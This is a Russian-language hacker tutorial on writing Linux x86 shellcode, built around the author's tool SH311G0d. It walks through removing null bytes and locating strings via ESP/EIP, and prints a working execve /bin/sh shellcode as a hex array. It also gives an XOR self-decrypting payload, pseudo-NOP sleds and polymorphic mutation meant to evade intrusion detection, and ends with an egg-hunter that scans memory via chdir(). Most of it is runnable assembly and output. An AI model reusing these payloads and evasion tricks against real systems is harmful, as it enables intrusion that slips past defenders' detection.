Причиной создания этой статьи послужило отсутствие достаточного количества информации по этой теме на русском языке, а так же собственные наработки автора в этой области. Первая часть статьи посвящена рассмотрению методов разработки шеллкодов в целом и решения проблем, возникающих при этом (к примеру, как эффективнее избавиться от нуль-байтов в коде). Во второй части статьи мы коснемся аспектов профессиональной разработки байт-кодов. Сюда входит решение таких проблем, как укрывание байт-кода от IDS, разделение шеллкода в памяти на несколько частей и прочие трюки, необходимые для более эффективной работы.
Автор: hr0nix (hr0nix 0 front.ru)
Содержание:
Причиной создания этой статьи послужило отсутствие достаточного количества информации по этой теме на русском языке, а так же собственные наработки автора в этой области. Первая часть статьи посвящена рассмотрению методов разработки шеллкодов в целом и решения проблем, возникающих при этом (к примеру, как эффективнее избавиться от нуль-байтов в коде). Во второй части статьи мы коснемся аспектов профессиональной разработки байт-кодов. Сюда входит решение таких проблем, как укрывание байт-кода от IDS, разделение шеллкода в памяти на несколько частей и прочие трюки, необходимые для более эффективной работы. Пока я писал эту статью, я создал небольшой программный пакет со скромным названием SH311G0d =), весьма полезный (по крайней мере, мне он часто был нужен) при разработке байт-кодов. По ходу статьи я буду рассказывать о его функциях и о том, как они были реализованы. Скачать сам пакет вы сможете с !!!ТУТ ССЫЛКА!!! Все примеры в статье реализованы для ОС Linux. Почему? Просто эта система – одна из самых распространенных и удобных на сегодняшний день. А, освоив технику написания байт-кода в ней, можно без труда писать шеллкоды для любой UNIX-системы.
Итак, понеслась. Для начала, что же такое шеллкод? В настоящее время шеллкодом принято называть последовательность опкодов процессора, представимую в виде строки символов и удовлетворяющую ряду свойств:
void run_code( char * code ) { asm ( "jmp *%%eax;" :: "a" (code) ); }Параметр code – символьный массив, содержащий наш байт-код. Для запуска шеллкода при помощи SH311G0d (далее SG) используйте ключ –r :
[root@id: ~/work/c0ding/shellgod]# ./shellgod -i ./shello.asm -r ...SKIPPED... Preparing to run shellcode... hello world [root@id: ~/work/c0ding/shellgod]#Для предоставления пользовательской программе сервисов в ОС Linux (и некоторых других ОС семейства UNIX) существует механизм системных вызовов. Сами системные вызовы – подпрограммы ядра для выполнения таких базовых операций, как чтение и запись в файлы, работа с сокетами и т.п. На данный момент в ОС Linux их более двухсот. Увидеть полный список системных вызовов и узнать их номера можно в файле /usr/include/asm/unistd.h:
[root@id: ~/work/c0ding/shellgod]# head -n 15 /usr/include/asm/unistd.h #ifndef _ASM_I386_UNISTD_H_ #define _ASM_I386_UNISTD_H_ /* * This file contains the system call numbers. */ #define __NR_exit 1 #define __NR_fork 2 #define __NR_read 3 #define __NR_write 4 #define __NR_open 5 #define __NR_close 6 #define __NR_waitpid 7 #define __NR_creat 8 [root@id: ~/work/c0ding/shellgod]#Вызываются системные вызовы (простите за тавтологию) или syscalls в Linux следующим образом:
В некоторых системах метод вызова syscalls несколько отличается – это лучше уточнить в каком-нибудь специальном справочнике вашей системы или у разработчиков. Пример вызова sys_exit() – программа, выходящая из программы =) :
[root@id: ~/work/c0ding/shellgod]# cat just_exit.asm BITS 32 mov eax, 1 ; sys_exit() mov ebx, 0 ; Выходим с кодом 0 int 0x80 ; Поехали! [root@id: ~/work/c0ding/shellgod] # nasm -f elf ./just_exit.asm && ld -s -o ./just_exit ./just_exit.o ld: warning: cannot find entry symbol _start; defaulting to 08048080 [root@id: ~/work/c0ding/shellgod]# strace ./just_exit execve("./just_exit", ["./just_exit"], [/* 17 vars */]) = 0 _exit(0) = ? [root@id: ~/work/c0ding/shellgod]#strace – чрезвычайно полезная для отладки шеллкодов программа. Ее работа заключается в том, что она запускает программу, переданную вторым аргументом, и составляет подробный отчет обо всех системных вызовах, сделанных этой программой (а так же предоставляет список параметров этих вызовов). Я потерял очень много времени на отладке, не используя трэйсер системных вызовов. Итак, теперь мы знаем достаточно, чтобы приступать к самому главному.
Рассмотрим следующий ассемблерный код:
[root@id: ~/work/c0ding/shellgod]# cat ./hello.asm ; Всего лишь пример разработки под NASM BITS 32 ; Пишем строчку push "rld_" ; Заносим push "o wo" ; операнды push "hell" ; в стек mov byte [esp+0x0b], 0xa ; Добавляем нуль-байт в конец строки mov edx, 0xc ; Длину сообщения сюда mov ecx, esp ; А сюда его адрес mov ebx, 0x01 ; Дескриптор вывода (STDOUT) mov eax, 0x04 ; sys_write() int 0x80 ; И выходим mov ebx, 0x00 ; Выходим с кодом 0 mov eax, 0x01 ; sys_exit() int 0x80 [root@id: ~/work/c0ding/shellgod]#Скомпилируем и выполним:
[root@id: ~/work/c0ding/shellgod]# nasm -f elf hello.asm && ld -s -o hello hello.o ld: warning: cannot find entry symbol _start; defaulting to 08048080 [root@id: ~/work/c0ding/shellgod]# strace ./hello execve("./hello", ["./hello"], [/* 17 vars */]) = 0 write(1, "hello world\n", 12hello world ) = 12 _exit(0) = ? [root@id: ~/work/c0ding/shellgod]#На первый взгляд, все просто прекрасно. Однако вот досадный момент:
[root@id: ~/work/c0ding/shellgod]# ./shellgod -i hello.asm -r SH311G0D v0.1 - by [hr0nix @ darkwired] Found any bugs -> plz find me at irc.darkwired.org or mail to hr0nix@darkwired.org Formatting shellcode... Nullbyte detected in your shellcode at pos 23! [root@id: ~/work/c0ding/shellgod]#Здесь надо заметить, что SG сперва компилирует исходник в объект-код, а потом уже работает с ним. Посмотрим, откуда взялся нуль-байт:
[root@id: ~/work/c0ding/shellgod]# ndisasm -b 32 ./hello 00000000 68726C645F push dword 0x5f646c72 00000005 686F20776F push dword 0x6f77206f 0000000A 6868656C6C push dword 0x6c6c6568 0000000F C644240B0A mov byte [esp+0xb],0xa 00000014 BA0C000000 mov edx,0xc 00000019 89E1 mov ecx,esp 0000001B BB01000000 mov ebx,0x1 00000020 B804000000 mov eax,0x4 00000025 CD80 int 0x80 00000027 BB00000000 mov ebx,0x0 0000002C B801000000 mov eax,0x1 00000031 CD80 int 0x80 [root@id: ~/work/c0ding/shellgod]#Как можно заметить, первый нуль-байт встречается в инструкции mov edx,0xc. Откуда он берется? Регистр edx имеет размер 4 байта (подразумевается, что у вас 32-битный процессор архитектуры x86 =) ), однако мы в него пытаемся поместить константу, имеющую всего один значимый байт – младший. Остальные байты – нули. В конечном виде эта инструкция будет выглядеть как mov edx,0x0000000c. Отсюда и 3 нуль-байта дизассемблерного листинга. В принципе, нуль-байты в коде в 90% случаев берутся именно в результате компилирования подобных команд. Бороться с этим очень просто – необходимо предварительно обнулить весь регистр (при помощи xor), а потом записать в младший байт нашу константу. То есть наше mov edx,0x0000000c будет выглядеть так:
xor edx, edx mov dl, 0x0cВ откомпилированном варианте, кстати, второй вариант даже будет короче.
Другая проблема – признаки конца строки. Если использовать в коде выражения вида msg db ‘hello world’,0x0 – ни до чего хорошего это не доведет. Самый простой способ решения этой проблемы – получить 0x0 в одном из регистров, а дальше сделать mov byte [<адрес_сообщения> + <длина_сообщения>], <регистр_с_нулем>. Пример использования (только с символом конца строки) – строка номер 4 вышеприведенного листинга. Так же рекомендуется всегда использовать минимально возможные регистры для хранения данных и явно указывать размеры операндов (push byte, jmp short и т.д.). Вот пример кода, содержащего большинство причин появления нуль-байтов:
[root@id: ~/work/c0ding/shellgod]# cat with_null.asm BITS 32 push long 0x41 mov byte [esp], 0x0 mov long eax, 0x4 push long 0x0 [root@id: ~/work/c0ding/shellgod]#Вывод ndisasm –b 32 :
[root@id: ~/work/c0ding/shellgod]# ndisasm -b 32 with_null 00000000 6841000000 push dword 0x41 00000005 C6042400 mov byte [esp],0x0 00000009 B804000000 mov eax,0x4 0000000E 6800000000 push dword 0x0 [root@id: ~/work/c0ding/shellgod]#Как мы видим, в шестнадцатеричном представлении каждой из команд присутствует нуль-байт. А теперь исправленный вариант:
[root@id: ~/work/c0ding/shellgod]# cat without_null.asm BITS 32 xor long eax, eax xor long ebx, ebx push byte 0x41 mov byte [esp], al mov byte al, 0x4 push long ebx [root@id: ~/work/c0ding/shellgod] # nasm -o without_null without_null.asm [root@id: ~/work/c0ding/shellgod] # ndisasm -b 32 without_null 00000000 31C0 xor eax,eax 00000002 31DB xor ebx,ebx 00000004 6A41 push byte +0x41 00000006 880424 mov [esp],al 00000009 B004 mov al,0x4 0000000B 53 push ebx [root@id: ~/work/c0ding/shellgod]#В придачу ко всему, исправленный код еще и оказался намного короче певоначального. Теперь мы готовы исправить hello.asm, превратив его в полноценный шелл-код:
[root@id: ~/work/c0ding/shellgod]# cat shello.asm ; А теперь избавляемся от нуль-байтов BITS 32 push "rld_" push "o wo" push "hell" xor edx, edx xor ebx, ebx xor eax, eax mov byte [esp+0x0b], 0xa mov dl, 0xc mov ecx, esp mov bl, 0x01 mov al, 0x04 int 0x80 xor ebx, ebx xor eax, eax mov al, 0x01 int 0x80 [root@id: ~/work/c0ding/shellgod]# nasm -o shello shello.asm [root@id: ~/work/c0ding/shellgod]# ndisasm -b 32 shello 00000000 68726C645F push dword 0x5f646c72 00000005 686F20776F push dword 0x6f77206f 0000000A 6868656C6C push dword 0x6c6c6568 0000000F 31D2 xor edx,edx 00000011 31DB xor ebx,ebx 00000013 31C0 xor eax,eax 00000015 C644240B0A mov byte [esp+0xb],0xa 0000001A B20C mov dl,0xc 0000001C 89E1 mov ecx,esp 0000001E B301 mov bl,0x1 00000020 B004 mov al,0x4 00000022 CD80 int 0x80 00000024 31DB xor ebx,ebx 00000026 31C0 xor eax,eax 00000028 B001 mov al,0x1 0000002A CD80 int 0x80 [root@id: ~/work/c0ding/shellgod]# ./shellgod -i shello.asm -r ...SKIPPED... Preparing to run shellcode... hello world [root@id: ~/work/c0ding/shellgod]#Ну что же, 0x0-байты нам теперь не помеха. Тут надо заметить, что существует еще один весьма эффективный способ избавиться от нуль-байтов – шифрование кода в памяти. Подробно об этом будет рассказано в соответствующем разделе.
Стек
Каждый раз, когда мы помещаем какие-либо данные в стек при помощи push, регистр ESP меняет свое значение на адрес этих данных в памяти. Мы уже использовали ESP для определения адреса строки в памяти (shello.asm):
push "rld_" push "o wo" push "hell" ...SKIPPED... (*) mov byte [esp+0x0b], 0xa mov dl, 0xc (*) mov ecx, espEIP
Когда мы используем инструкцию вида call _label, она заменяется парой
push eip ; Указатель на текущую исполняемую инструкцию кладется в стек jmp _label ; Передача управления на меткуПри использовании ret EIP вынимается из стека, после чего на него происходит jmp. Этих двух фактов вполне достаточно для определения адреса любых наших данных в памяти. Вот многострадальный shello.asm, который теперь достает адрес строки, используя EIP:
[root@id: ~/work/c0ding/shellgod]# cat eip_shello.asm ; Находим адрес строки при помощи EIP BITS 32 jmp short _start _end: pop esi ; Вытаскиваем EIP из стека в ESI xor edx, edx xor ebx, ebx xor eax, eax mov byte [esi+0x0b], 0xa mov dl, 0xc mov ecx, esi mov bl, 0x01 mov al, 0x04 int 0x80 xor ebx, ebx xor eax, eax mov al, 0x01 int 0x80 _start: call _end db 'hello world!_' [root@id: ~/work/c0ding/shellgod]# ./shellgod -i ./eip_shello.asm -r ...SKIPPED... Preparing to run shellcode... hello world [root@id: ~/work/c0ding/shellgod]#
[root@id: ~/work/c0ding/shellgod]# cat shell.asm ; Первый серьезный пример - /bin/sh, используя стек BITS 32 xor eax, eax ; Очищаем eax push '/sh_' ; Кладем имя push '/bin' ; файла в стек mov byte [esp+0x7], al ; И завершаем ее нуль-байтом mov ebx, esp ; Адрес имени файла в ebx push eax ; Нуль-байт в стек push ebx ; Адрес имени файла в стек lea ecx, [esp] ; Адрес всего этого в ecx lea edx, [esp+0x4] ; И адрес нуль-байта в edx mov al, 0xb ; sys_execve() int 0x80 ; Поехали! [root@id: ~/work/c0ding/shellgod]# ./shellgod -i ./shell.asm -r ...SKIPPED... Formatting shellcode... /* * Shellcode generated by SH311G0D v0.1 ( author: hr0nix ) * Code length: 31 */ char shellcode[] = "\x31\xc0\x68\x2f\x73\x68" "\x5f\x68\x2f\x62\x69\x6e" "\x88\x44\x24\x07\x89\xe3" "\x50\x53\x8d\x0c\x24\x8d" "\x54\x24\x04\xb0\x0b\xcd" "\x80"; Preparing to run shellcode... sh-2.05a#Как мы видим, длина кода – всего 31 байт, зато сколько пользы. Вообще, шеллкоды, оправдывающие свое название (в смысле, порождающие шелл) написать проще всего. К примеру, для того, чтобы вывести строку в файл, придется работать уже с тремя системными вызовами open(), write() и close(). Сложнее всего – шеллкоды для сетевого эксплойтинга, тут придется поработать с огромным количеством системных вызовов (особенно, в случае portbind). За хорошими примерами подобных кодов рекомендую обратиться к статье моего хорошего друга dodo, найти которую можно на www.darkwired.org.
Последнее время появляется все больше и больше систем обнаружения вторжения, способных обнаружить в анализируемых пакетах данных шеллкоды. Давайте разберемся, как это происходит и как от этого защититься.
В 95% случаев IDS использует для обнаружения вредоносных пакетов сигнатурный анализ. Вот список ключевых сигнатур, на основании наличия которых в данных пакета IDS делает вывод о степени его вредоносности по отношению к системе:
Одно из наиболее красивых решений для скрытия шеллкодов – шифрование рабочего тела. Это происходит следующим образом:
BITS 32 push 0x81cc0ab1 ...Кладем шифрованное тело в стек... push 0x69c13091 xor eax, eax ; Очищаем eax mov al, 1 ; И кладем туда ключ (в нашем случае – 0x01) xor ebx, ebx ; Очищаем ebx xor ecx, ecx ; И eсx mov bl, 32 ; В ebx помещаем длину кода для расшифровки _loop: xor [esp+ecx], eax ; Расшифровываем текущий байт inc ecx ; Увеличиваем счетчик cmp ecx, ebx ; Все расшифровали? jne _loop ; Если нет – на начало. jmp esp ; Запуск расшифрованного кода.Поддержка шифрования предусмотрена и в моей программе. При указания ключа –c SH311G0d сделает из данного ему на входе байт-кода зашифрованную программную систему с расшифровщиком, которая сама по себе является полноценным шеллкодом.
Итак, какие плюсы мы получаем при шифровании?
Но, как говорится, не NOP-ом единым жив человек. Вот пример инструкций, которые не имеют абсолютно никакого воздействия на процесс исполнения и, следовательно, могут послужить заменой NOP-у:
[root@id: ~/work/c0ding/shellgod]# cat nops.asm BITS 32 mov eax, eax mov dl, dl mov cx, cx mov esi, esi mov esp, esp mov si, si inc eax dec dl [root@id: ~/work/c0ding/shellgod]# nasm nops.asm [root@id: ~/work/c0ding/shellgod]# ndisasm -b 32 nops 00000000 89C0 mov eax,eax 00000002 88D2 mov dl,dl 00000004 6689C9 mov cx,cx 00000007 89F6 mov esi,esi 00000009 89E4 mov esp,esp 0000000B 6689F6 mov si,si 0000000E 40 inc eax 0000000F FECA dec dl [root@id: ~/work/c0ding/shellgod]#Очевидно, в нашей псевдо-цепочке мы можем как угодно модифицировать содержимое пользовательских регистров (все равно в шеллкоде мы их обнулим), а так же переносить данные из любого регистра в самого себя. Однако здесь есть одна небольшая проблема – почти у всех этих команд опкоды занимают в памяти минимум два байта. Таким образом, нет никакой гарантии, что попадем мы именно на начало необходимой нам команды, а не на середину, получив в результате лаконичное Illegal Instruction. В принципе, это лечится довольно просто – каждый адрес возврата нужно пробовать использовать тремя способами: без сдвига, со сдвигом в один и в два байта.
Теперь что касательно полиморфизма кода. Избавляться от сигнатур можно по-разному, тут нужно не забывать, что запрограммировать один и тот же алгоритм можно довольно большим количеством способов. В придачу к этому, чтобы избавиться от постоянного вида нашего кода, достаточно добавить в случайные места нашего кода некоторое количество случайно (да, повсюду царит random) выбранных псевдо-NOP-ов. Здесь необходимо помнить, что мы уже не можем модифицировать содержимое пользовательских регистров, однако можем заменять команды вида “mov al, 5” на что-нибудь типа “mov al, 4; inc al” Применяя подобные преобразования к вашему шеллкоду (особенно вкупе с шифрованием), вы почти 100-процентно защищаете его от обнаружения IDS. SH311G0d также умеет случайным образом модифицировать данный на входе шеллкод, уменьшая вероятность его обнаружения. Для этого используется ключ –m. В случае использования ключа –m совместно с –c, программа сперва зашифрует байт-код, а потом модифицирует расшифровщик. Результат – каждый раз – новый код, что приводит к практически полному отсутствию сигнатур. В дальнейшем я буду работать над усовершенствованием эвристического модификатора исходного кода, т.к. эта идея меня весьма заинтересовала.
Помещаем свой шеллкод в любое место адресного пространства программы (другой буфер, heap), а в уязвимый буфер кладем небольшой байт-код, который найдет по какой-либо сигнатуре «главный» код в памяти. Услышав слова «поиск в памяти», хочется сразу спросить: а как же SIGSEGV? Ведь всегда существует возможность наткнуться на область памяти, не принадлежащую программе и умереть с лаконичным и до боли знакомым сообщением.
Но и тут нас не оставят в беде. Оказывается, существует системный вызов chdir(), принимающий в качестве единственного аргумента указатель на строку – имя каталога. Если этот указатель указывает (и снова тавтология =( ) за пределы доступного адресного пространства, то вызов возвращает значение 0xfffffff2, иначе 0xfffffffe, чем мы и воспользуемся. Итак, общая структура данных в этом случае такова:
... <4-х байтовая сигнатура> <наш «главный» шеллкод> ... <Шеллкод для прямого поиска по сигнатуре> ...Сам шеллкод для прямого поиска выглядит следующим образом:
BITS 32 mov ebx, 0x08048001 ; Адрес для начала скана mov esi, 0x41414140 ; Паттерн-1, чтобы не найти самое себя inc esi ; esi=Паттерн _loop: xor eax, eax inc ebx ; Адрес++ mov al, 0x0c ; sys_chdir() int 0x80 cmp al, 0xfe ; Корректен ли адрес? jne _loop ; Нет - на начало cmp [ebx], esi ; Сравниваем с паттерном jne _loop ; Не совпадает - на начало add bl, 0x04 jmp ebx ; Вперед к светлому будущемуВот пример программы на Си, использующей эту технологию на практике:
[root@id: ~/work/c0ding/shellgod]# cat shellfind_test.c /* Всего лишь наш многострадальный shello.asm */ char shellcode[] = "\x41\x41\x41\x41" // Сигнатура "\x68\x72\x6c\x64\x5f\x68" "\x6f\x20\x77\x6f\x68\x68" "\x65\x6c\x6c\x31\xd2\x31" "\xdb\x31\xc0\xc6\x44\x24" "\x0b\x0a\xb2\x0c\x89\xe1" "\xb3\x01\xb0\x04\xcd\x80" "\x31\xdb\x31\xc0\xb0\x01" "\xcd\x80"; /* Код для прямого поиска в памяти */ char findcode[] = "\xbb\x01\x80\x04\x08\xbe" "\x40\x41\x41\x41\x46\x31" "\xc0\x43\xb0\x0c\xcd\x80" "\x3c\xfe\x75\xf5\x39\x33" "\x75\xf1\x80\xc3\x04\xff" "\xe3"; void run_code( char * code ) { asm ( "jmp *%%eax;" :: "a" ( code ) ); } int main() { run_code( findcode ); } [root@id: ~/work/c0ding/shellgod] # gcc -o shellfind_test shellfind_test.c [root@id: ~/work/c0ding/shellgod] # ./shellfind_test hello world [root@id: ~/work/c0ding/shellgod]#При желании, можете запустить все это через strace и посмотреть, как вживую сканируется память.
Ну вот и все, что я хотел рассказать о современных методах разработки шеллкодов. Искренне надеюсь, моя статья поможет кому-нибудь из вас перестать использовать готовые решения, уподобляясь скрипт-кидди, и начать Творить, как и подобает человеку, что хочет называться Хакером.
Благодарности.
Great tnx всем, кто помогал вылавливать баги в статье: ov3r, Nagatoky, virusman, [HEX] - ваша помощь была неоценима. Спасибо всем, кто не давал мне спать, пока я работал. Респект #m00 и #darkwired (просто потому, что там хорошие люди). И привет моему преподу по матану: еще раз завалите на экзамене, Дмитрий Валерьевич, будете страдать (да, это угроза)…
Ладно, не доказали. Но мы работаем над этим